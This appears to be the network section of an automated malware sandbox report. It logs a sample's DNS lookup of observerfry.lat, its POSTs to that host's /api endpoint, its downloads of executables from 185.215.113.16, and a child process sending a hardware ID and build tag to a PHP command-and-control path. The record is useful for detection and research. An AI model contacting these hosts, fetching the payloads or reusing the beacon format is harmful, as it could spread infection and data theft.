Dec 23, 2024 17:28:50.634649038 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:50.635219097 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.635286093 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:50.635319948 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.635333061 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.635370970 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.635375023 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:50.635384083 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.635399103 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.635437965 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:50.636405945 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.636420012 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.636434078 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.636475086 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:50.636475086 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:50.636610031 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.636622906 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.636646032 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.636682987 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:50.637228012 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.637242079 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.637254953 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.637279987 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:50.637299061 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.637330055 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:50.637358904 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.637373924 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.637414932 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:50.638062000 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.638123035 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:50.638127089 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.638139963 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.638187885 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:50.638192892 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.638215065 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.638228893 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.638322115 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:50.639154911 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.639168024 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.639180899 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.639202118 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.639208078 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:50.639214993 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.639225006 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:50.639228106 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.639281988 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:50.640170097 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.640183926 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.640218973 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:50.640238047 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.640399933 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.640414000 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.640418053 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:50.640427113 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.640574932 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:50.641289949 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.641304970 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.641318083 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.641339064 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:50.641355991 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:50.641772985 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:50.683048964 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:50.775279999 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:54.086539030 CET	49717	80	192.168.2.8	185.215.113.206
Dec 23, 2024 17:28:54.206273079 CET	80	49717	185.215.113.206	192.168.2.8
Dec 23, 2024 17:28:54.206523895 CET	49717	80	192.168.2.8	185.215.113.206
Dec 23, 2024 17:28:54.206640005 CET	49717	80	192.168.2.8	185.215.113.206
Dec 23, 2024 17:28:54.326487064 CET	80	49717	185.215.113.206	192.168.2.8
Dec 23, 2024 17:28:55.568654060 CET	80	49717	185.215.113.206	192.168.2.8
Dec 23, 2024 17:28:55.568716049 CET	49717	80	192.168.2.8	185.215.113.206
Dec 23, 2024 17:28:55.587627888 CET	49717	80	192.168.2.8	185.215.113.206
Dec 23, 2024 17:28:55.707304001 CET	80	49717	185.215.113.206	192.168.2.8
Dec 23, 2024 17:28:56.045059919 CET	80	49717	185.215.113.206	192.168.2.8
Dec 23, 2024 17:28:56.045186996 CET	49717	80	192.168.2.8	185.215.113.206
Dec 23, 2024 17:28:57.712944984 CET	49717	80	192.168.2.8	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 17:28:15.997483015 CET	55173	53	192.168.2.8	1.1.1.1
Dec 23, 2024 17:28:16.136892080 CET	53	55173	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 17:28:15.997483015 CET	192.168.2.8	1.1.1.1	0xcc42	Standard query (0)	observerfry.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 17:28:16.136892080 CET	1.1.1.1	192.168.2.8	0xcc42	No error (0)	observerfry.lat		104.21.36.201	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:28:16.136892080 CET	1.1.1.1	192.168.2.8	0xcc42	No error (0)	observerfry.lat		172.67.199.72	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

observerfry.lat

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49716	185.215.113.16	80	7816	C:\Users\user\Desktop\2jx1O1t486.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:28:39.522545099 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 17:28:40.951553106 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:28:40 GMT Content-Type: application/octet-stream Content-Length: 2795520 Last-Modified: Mon, 23 Dec 2024 15:52:48 GMT Connection: keep-alive ETag: "67698750-2aa800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 1d 4c 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +L+`Ui`D @ @ @.rsrcD``@.idata f@tjukwpbk h@rvbdmwlv @.taggant@"@
Dec 23, 2024 17:28:40.951596975 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:28:40.951607943 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:28:40.951622009 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:28:40.951636076 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:28:40.951797009 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:28:40.951807976 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:28:40.951814890 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:28:40.951821089 CET	1236	IN	Data Raw: b3 f0 1b da e4 04 32 e1 b9 d2 35 e1 b3 f0 1b d9 cc c2 3d d9 bc 78 de 2f 2c f0 19 e5 b3 ea 3b 03 9a fd e1 dc b3 8c 31 e1 b3 ee 31 e1 c2 fe 05 01 f5 ea 00 e1 9b f1 31 e1 bd f4 3b 6b cf ea 31 d7 9b ff 31 e1 b9 d7 f8 e2 b1 c9 e3 f8 bb ea 31 e3 c1 eb Data Ascii: 25=x/,;111;k11131161<12511172;7<1<1;152H=;<1H6V1
Dec 23, 2024 17:28:40.951833963 CET	1236	IN	Data Raw: b3 49 37 e1 b3 8b 31 ff b3 fe 31 e0 b2 ea 31 19 b2 ea 31 42 b4 d8 31 15 b4 f5 36 11 b4 b0 34 e1 b3 93 31 2e b4 fe 31 03 b4 01 3f de b2 bb b1 28 b4 fa 36 52 34 b5 36 11 b3 bb b1 3c b3 fa 36 52 34 08 36 11 b3 bb b1 31 b4 fa 36 e3 bd d4 35 11 b3 c0 Data Ascii: I71111B1641.1?(6R46<6R4616516S486S47657S4>67S4[4H75;7S4n77S4A57S47;6S4q4f6S4I16S446S4+5;6
Dec 23, 2024 17:28:41.072341919 CET	1236	IN	Data Raw: b3 c2 31 b3 b3 f3 31 4d b4 65 31 da b3 8a 31 a1 b3 f3 31 45 b4 5b 31 da b3 96 31 84 b3 f3 31 71 b3 78 31 da b3 9e 31 90 b3 f3 31 69 b3 82 31 da b3 a6 31 b3 b3 f3 31 61 b3 65 31 da b3 6e 31 a6 b3 f3 31 5d b3 34 37 da b3 7a 31 84 b3 f3 31 95 b3 78 Data Ascii: 11Me111E[111qx111i111ae1n11]47z11x1111J11e1R11}>7Z11C7f11x1.7}1}16717>711F71771&77161f1l61X1T61
Dec 23, 2024 17:28:45.950997114 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 17:28:46.388406992 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:28:45 GMT Content-Type: application/octet-stream Content-Length: 2790912 Last-Modified: Mon, 23 Dec 2024 15:54:43 GMT Connection: keep-alive ETag: "676987c3-2a9600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 d0 4d 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 4e 00 00 04 00 00 2f 52 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(M@N/R+@M$a$$ $h@.rsrc$x@.idata $z@tumlwnkw)$(\|@twdpfarlMp@.taggant0M"t@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49717	185.215.113.206	80	5400	C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:28:54.206640005 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:28:55.568654060 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:28:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 23, 2024 17:28:55.587627888 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKFIDHDGIEGCAKFIIJKF Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 45 41 44 41 35 38 43 43 42 42 33 34 37 36 35 32 32 35 30 37 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------AKFIDHDGIEGCAKFIIJKFContent-Disposition: form-data; name="hwid"FEADA58CCBB3476522507------AKFIDHDGIEGCAKFIIJKFContent-Disposition: form-data; name="build"stok------AKFIDHDGIEGCAKFIIJKF--
Dec 23, 2024 17:28:56.045059919 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:28:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	104.21.36.201	443	7816	C:\Users\user\Desktop\2jx1O1t486.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:28:17 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: observerfry.lat
2024-12-23 16:28:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-23 16:28:18 UTC	1122	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:28:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1km2vbb1rfaimt4b5dc8c2if52; expires=Fri, 18 Apr 2025 10:14:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q16kEAOZC4y6tw46iZeLb5GqwqHppY4c3R0r9K%2FNfiMv8qDISd4r49JyhpR6jn55Ew8hWI1e5DTYRMR%2B1oC9bMc9XdXY7aIgry9apO4wrhjc%2FtEgUgPIinbLjKOr0FknoSE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69b95258140c9e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1595&min_rtt=1591&rtt_var=605&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=906&delivery_rate=1795817&cwnd=32&unsent_bytes=0&cid=c03e7dee112b32ea&ts=765&x=0"
2024-12-23 16:28:18 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-23 16:28:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	104.21.36.201	443	7816	C:\Users\user\Desktop\2jx1O1t486.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:28:19 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: observerfry.lat
2024-12-23 16:28:19 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-23 16:28:20 UTC	1122	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:28:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=to2hh16k8rbr45id9lcvq9kfhc; expires=Fri, 18 Apr 2025 10:14:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bfWqO4QILy%2Fi0GoTAxC0FGtyrLyEZLo29WLu1%2FGAWZlAfi5tiAUSrRXVPDEWPc9ojS1TpcAv9k3zakES6giWEdZYvoZKgzuyd9C9AcgTZerCdjYEOgJId2ZxhKfu52boDzM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69b95fcb21c457-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1785&min_rtt=1764&rtt_var=676&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=946&delivery_rate=1655328&cwnd=252&unsent_bytes=0&cid=2f644339a515ecd4&ts=1055&x=0"
2024-12-23 16:28:20 UTC	247	IN	Data Raw: 34 39 31 63 0d 0a 75 41 53 6c 49 47 56 75 42 49 2b 39 2f 52 5a 43 52 44 6d 43 47 2b 63 42 6b 4d 74 64 72 32 71 71 72 39 49 68 4a 61 51 2f 37 46 44 44 4a 74 4d 43 58 31 6f 6f 72 63 36 59 4e 48 67 77 53 2f 64 2b 79 79 50 78 72 33 2b 56 44 4d 76 44 6f 55 51 4a 68 6b 6d 42 63 6f 4a 69 78 45 77 57 43 79 69 74 32 49 55 30 65 42 39 43 6f 48 36 4a 49 36 72 70 4f 4d 55 49 79 38 4f 77 51 45 37 4c 54 34 41 7a 30 47 6a 43 53 41 41 4e 59 4f 37 52 6b 48 4d 6e 49 56 6a 6f 64 59 35 73 2b 4b 5a 2f 67 30 6a 50 31 66 41 62 42 2b 6c 61 6d 44 48 31 5a 64 5a 4c 52 78 4d 6f 39 4a 2b 59 65 47 42 2b 47 2b 4e 2b 68 57 33 32 72 7a 62 48 41 73 4c 4c 73 55 56 50 31 46 61 4b 4f 4e 42 6d 77 55 6b 4b 42 48 54 6a 32 35 64 34 49 53 74 59 6f 44 66 46 5a 4f 72 70 5a Data Ascii: 491cuASlIGVuBI+9/RZCRDmCG+cBkMtdr2qqr9IhJaQ/7FDDJtMCX1oorc6YNHgwS/d+yyPxr3+VDMvDoUQJhkmBcoJixEwWCyit2IU0eB9CoH6JI6rpOMUIy8OwQE7LT4Az0GjCSAANYO7RkHMnIVjodY5s+KZ/g0jP1fAbB+lamDH1ZdZLRxMo9J+YeGB+G+N+hW32rzbHAsLLsUVP1FaKONBmwUkKBHTj25d4IStYoDfFZOrpZ
2024-12-23 16:28:20 UTC	1369	IN	Data Raw: 34 31 62 2b 73 36 68 55 6c 4c 4c 54 59 68 79 78 53 6a 65 41 67 41 41 4a 72 57 66 6c 33 67 75 49 31 6a 76 66 6f 52 6a 34 4b 59 2f 7a 67 44 41 79 62 70 4d 53 4d 6c 54 68 44 58 53 62 38 42 4e 41 41 52 67 34 74 7a 66 4f 6d 41 68 51 36 41 68 78 55 50 69 71 6a 7a 5a 42 64 6d 4e 72 77 31 65 68 6c 71 43 63 6f 49 6d 77 55 77 47 41 57 62 2f 31 35 52 2f 4a 54 52 51 36 58 53 49 59 2f 2b 6a 4d 4d 34 49 7a 38 65 36 54 45 33 43 55 49 4d 30 32 6d 61 48 44 45 63 4c 66 71 32 48 33 31 63 6c 4e 6c 7a 73 62 38 64 5a 73 72 5a 78 31 45 6a 50 77 66 41 62 42 38 35 59 6a 54 48 52 61 63 52 4b 44 42 35 6d 2f 39 6d 53 63 54 49 67 58 75 35 7a 68 6e 48 34 70 7a 6e 4f 41 63 50 45 74 55 52 44 68 68 50 4f 4e 63 49 6d 6e 77 49 6d 41 57 33 68 31 59 68 30 59 44 6b 56 2b 54 6d 43 62 37 4c 78 Data Ascii: 41b+s6hUlLLTYhyxSjeAgAAJrWfl3guI1jvfoRj4KY/zgDAybpMSMlThDXSb8BNAARg4tzfOmAhQ6AhxUPiqjzZBdmNrw1ehlqCcoImwUwGAWb/15R/JTRQ6XSIY/+jMM4Iz8e6TE3CUIM02maHDEcLfq2H31clNlzsb8dZsrZx1EjPwfAbB85YjTHRacRKDB5m/9mScTIgXu5zhnH4pznOAcPEtURDhhPONcImnwImAW3h1Yh0YDkV+TmCb7Lx
2024-12-23 16:28:20 UTC	1369	IN	Data Raw: 53 4e 2f 67 4e 41 33 68 33 57 63 76 42 6c 30 30 45 4e 54 6c 50 75 30 5a 46 7a 4e 6d 5a 45 72 6d 44 46 5a 50 37 70 5a 34 30 46 79 63 57 32 55 55 6a 4c 58 6f 41 38 31 57 50 49 53 67 63 4d 61 2b 6a 62 6c 48 38 6a 4b 31 2f 79 63 34 56 72 39 36 67 31 78 30 69 47 6a 62 64 62 42 35 34 64 76 79 58 52 4a 50 4a 42 43 51 4a 68 2b 35 2b 41 4f 6a 6c 6d 58 4f 77 35 33 53 50 2f 6f 54 72 49 42 38 6e 48 76 6b 5a 4e 79 6c 57 41 4d 63 68 70 77 30 49 4c 42 47 7a 67 30 5a 74 38 4b 53 31 51 35 6e 6d 45 61 62 4c 6e 66 38 6f 51 69 4a 58 77 64 30 44 4b 55 49 46 77 37 32 58 4a 54 41 41 61 4a 76 4b 52 68 6a 51 6e 4b 68 75 34 4f 59 6c 71 38 71 49 31 79 51 6a 50 77 4c 56 41 51 4d 56 51 69 54 6a 55 59 63 4e 4f 44 67 46 67 37 64 69 62 63 54 49 6a 55 75 78 31 78 53 32 79 72 69 65 4e 55 Data Ascii: SN/gNA3h3WcvBl00ENTlPu0ZFzNmZErmDFZP7pZ40FycW2UUjLXoA81WPISgcMa+jblH8jK1/yc4Vr96g1x0iGjbdbB54dvyXRJPJBCQJh+5+AOjlmXOw53SP/oTrIB8nHvkZNylWAMchpw0ILBGzg0Zt8KS1Q5nmEabLnf8oQiJXwd0DKUIFw72XJTAAaJvKRhjQnKhu4OYlq8qI1yQjPwLVAQMVQiTjUYcNODgFg7dibcTIjUux1xS2yrieNU
